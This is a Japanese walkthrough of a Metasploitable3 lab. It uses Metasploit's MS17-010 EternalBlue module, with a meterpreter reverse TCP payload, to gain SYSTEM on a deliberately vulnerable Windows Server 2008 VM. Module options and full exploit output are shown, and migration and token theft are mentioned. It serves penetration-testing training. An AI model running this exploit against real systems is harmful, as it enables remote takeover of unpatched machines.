

metasploitable3 route1 walkthrough

このセクションでは SMB の脆弱性（Eternalblue）を利用して、一気に SYSTEM 権限を取得します。

eternalblue に関しては、下記の記事をご参照ください。

<https://japan.zdnet.com/article/35102437/>

オープンポート

Port	Protocol	State	Name	
21	tcp	open	ftp	Microsoft ftpd
22	tcp	open	ssh	OpenSSH 7.1 (protocol 2.0)
80	tcp	open	http	Microsoft IIS httpd 7.5
135	tcp	open	msrpc	Microsoft Windows RPC
137	udp	open	netbios-ns	Microsoft Windows netbios-ns (workgroup: WORKGROUP)
139	tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445	tcp	open	microsoft-ds	Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1617	tcp	open	java-rmi	Java RMI
3306	tcp	open	mysql	MySQL 5.5.20-log
3389	tcp	open	tcpwrapped	
3700	tcp	open	giop	CORBA naming service
4848	tcp	open	appserv-http	
5985	tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676	tcp	open	java-messag...	Java Message Service 301
8009	tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8019	tcp	open	qbdb	
8020	tcp	open	http	Apache httpd
8022	tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8027	tcp	open		
8028	tcp	open	postgresql	PostgreSQL DB
8031	tcp	open	unknown	
8032	tcp	open	desktop-cen...	ManageEngine Desktop Central DesktopCentralServer
8080	tcp	open	http	Sun GlassFish Open Source Edition 4.0
8181	tcp	open	intermapper	
8282	tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8383	tcp	open	http	Apache httpd
8443	tcp	open	https-alt	
8444	tcp	open	desktop-cen...	ManageEngine Desktop Central DesktopCentralServer
8484	tcp	open	http	Jetty winstone-2.8
8585	tcp	open	http	Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
8686	tcp	open	java-rmi	Java RMI
9200	tcp	open	wap-wsp	
9300	tcp	open	vrace	
47001	tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152	tcp	open	msrpc	Microsoft Windows RPC
49153	tcp	open	msrpc	Microsoft Windows RPC
49154	tcp	open	msrpc	Microsoft Windows RPC
49155	tcp	open	unknown	
49158	tcp	open	msrpc	Microsoft Windows RPC
49166	tcp	open	java-rmi	Java RMI
49167	tcp	open	tcpwrapped	
49244	tcp	open	msrpc	Microsoft Windows RPC
49261	tcp	open	ssh	Apache Mina sshd 0.8.0 (protocol 2.0)
49261	tcp	open	ssh	Apache Mina sshd 0.8.0 (protocol 2.0)
49262	tcp	open	jenkins-liste...	Jenkins TcpSlaveAgentListener
49263	tcp	open	msrpc	Microsoft Windows RPC
49327	tcp	open	java-rmi	Java RMI
49330	tcp	open		
49331	tcp	open		
49332	tcp	open		

脆弱性の脆弱性

eternalblue は有名な脆弱性ではありますが、ターゲットのシステムを不安定にさせる点はオーバーフロー系の攻撃の宿命であり、こちらの脆弱性も例外ではありません。

今回判断すべき内容は、果たしてこれから攻撃しようとしているサーバにこの脆弱性の効果があるのかと言う点になります。例えば、同じ windows2008 サーバでも、システム言語が違ふとまったく効果が無いばかりか、クラッシュを発生させる脆弱性かもしれません。

繰り返しになりますが、オーバーフロー系の攻撃は効果が強力な反面環境に左右されやすく、また、広く認知されるようになると一定期間後に修正される可能性が高いため、サイバー攻撃者としては一般には知られていない脆弱性（ゼロデイ攻撃）か、攻撃と検知されないよう不正アクセスを行うための質の高いパスワードリストが欲しいわけです。

metasploit モジュールの検索

Matching Modules

#	Name	Rank	Check	Description
0	auxiliary/admin/smb/ms17_010_command	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1	auxiliary/scanner/smb/smb_ms17_010	normal	Yes	MS17-010 SMB RCE Detection
2	exploit/windows/smb/ms17_010_eternalblue	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3	exploit/windows/smb/ms17_010_eternalblue_win8	average	No	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4	exploit/windows/smb/ms17_010_psexec	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

<https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking>

モジュールにも効果のランクが存在します。上記の評価基準を読むと、やはりターゲットのサービスをクラッシュさせないものほど、ランクが高くなるようです。

なぜクラッシュをここまで嫌がるかと言うと、クラッシュが発生した場合の修正方法がサーバ再起動（またはサービス再起動）だからです。コントロール下でないターゲットを再起動するのは（D）DoS 攻撃を行うか、何らかのソーシャルハッキングを行うか、または実際に物理的に侵入して電源を OFF/ON しないといけない。

いずれの方法を取ったとしても、労力と検知リスクが大幅に増大し、攻撃により得られるメリットが減少してしまいます。モダンなサイバー攻撃はビジネスまたは国家プロジェクトとして実行されている場合が多く、余計なコストは歓迎されません。

脆弱性スキャナー

```
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
```

Module options (auxiliary/scanner/smb/smb_ms17_010):				Microsoft-DS Microsoft Windows Server 2008 R2 - 2012 Microsoft-DS	
Name	Current Setting	Required	Description	Required	Description
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check	yes	List of named pipes to check
RHOSTS	192.168.2.7	yes	The target host(s), range CIDR identifier, or hosts file	yes	The target host(s), range CIDR identifier, or hosts file
RPORT	445	yes	The SMB service port (TCP)	yes	The SMB service port (TCP)
SMBDomain		no	The Windows domain to use for authentication	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username	no	The password for the specified username
SMBUser		no	The username to authenticate as	no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads	yes	The number of concurrent threads

metasploit のモジュールには、上記の様に「auxiliary」（補助、または予備）モジュールがあり、簡易的な脆弱性スキャンが可能です。スキャナーとはいえ脆弱性のある段階まで攻撃するような物もあり、ターゲットを不安定にする可能性があります。例えば実務で脆弱性診断等を行う場合は、いきなり実行は避けたほうが良いでしょう。

攻撃用モジュール

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options (80/tcp) (8) screenshot (80/tcp) (8) smbenum (445/tcp)

Module options (exploit/windows/smb/ms17_010_eternalblue):
-----
Name      Current Setting  Required  Description
-----
RHOSTS    192.168.2.7      yes       The target host(s), range CIDR identifier, or hosts file with
RPORT     445              yes       The target port (TCP)
SMBDomain .                no        (Optional) The Windows domain to use for authentication
SMBPass   .                no        (Optional) The password for the specified username
SMBUser   .                no        (Optional) The username to authenticate as
VERIFY_ARCH true            yes       Check if remote architecture matches exploit Target.
VERIFY_TARGET true            yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):
-----
Name      Current Setting  Required  Description
-----
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none) 4.0
LHOST     192.168.2.6      yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port
```

本セクションでは meterpreter のリバース TCP を選択しましたが、場合によってはバインド TCP、その他制限の多い環境下では HTTPS 等を状況に応じて選択する必要があります。また、meterpreter 以外のシェルや、ステージレス・ステージド等をターゲットの状況に応じて選択しなくてはなりません。選択を誤るとクラッシュやセッションの切断の原因になります。

本講座では触れていませんが、攻撃と同時に他のプロセスに移動する方法(migrate)や、他のユーザの認証情報を奪う (token impersonation) なども可能です。

攻撃に成功すると、下記の様に最上位の権限が取得できます。

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.2.6:4444
[*] 192.168.2.7:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.2.7:445 - Connecting to target for exploitation.
[*] 192.168.2.7:445 - Connection established for exploitation.
[*] 192.168.2.7:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.2.7:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.2.7:445 - 0x00000000 5f 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.2.7:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 192.168.2.7:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 192.168.2.7:445 - 0x00000030 6b 20 31 k 1
[*] 192.168.2.7:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.2.7:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.2.7:445 - Sending all but last fragment of exploit packet
[*] 192.168.2.7:445 - Starting non-paged pool grooming
[*] 192.168.2.7:445 - Sending SMBv2 buffers
[*] 192.168.2.7:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.2.7:445 - Sending final SMBv2 buffers.
[*] 192.168.2.7:445 - Sending last fragment of exploit packet!
[*] 192.168.2.7:445 - Receiving response from exploit packet
[*] 192.168.2.7:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.2.7:445 - Sending egg to corrupted connection.
[*] 192.168.2.7:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.2.7
[*] Meterpreter session 2 opened (192.168.2.6:4444 -> 192.168.2.7:49557) at 2019-10-22 13:51:07 +0900

[*] 192.168.2.7:445 -
[*] 192.168.2.7:445 -
[*] 192.168.2.7:445 -
[*] 192.168.2.7:445 -

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```